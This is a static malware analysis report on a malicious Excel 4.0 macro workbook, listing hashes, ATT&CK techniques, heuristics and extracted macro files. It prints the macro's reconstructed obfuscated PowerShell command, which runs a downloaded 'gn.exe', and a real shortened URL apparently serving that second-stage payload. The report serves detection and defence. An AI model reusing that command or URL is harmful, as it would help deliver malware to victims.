Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 c3d4a68679480b98…

MALICIOUS

Office (OLE) / .XLS

110.5 KB Created: 2020-11-20 17:59:00 Authoring application: Microsoft Excel
MD5: 5241985b98b8b96bde5b562a83b44802 SHA-1: 7056e30d90a7da1e56a1a459be6bb9d58a844192 SHA-256: c3d4a68679480b98cab4c75d22f7e38d4ad117f0172153733688ee5bd5c5fcb9
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The file contains Excel 4.0 macros, specifically an Auto_Open macro that uses the EXEC function. This function is used to construct and execute a PowerShell command. The reconstructed command is 'powershell -w 1 -EP bypass stARt-slEep 25; cd ${enV:appdata};.('.'+'/gn.exe')'. This indicates the macro's intent is to download and execute a second-stage payload named 'gn.exe' from a URL embedded within another part of the macro, which reconstructs to 'https://tinyurl.com/y7zcye22'.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
aa55e6c7ba00e0dc5fff8e367f490efe98cf297af5783e8024116d8559acc172		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2135 bytes
macros.bas
fed365d3401536fb63e11d0a36cc7c35338c0a8c74a96fb254c46366ad6287cd		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 642 bytes

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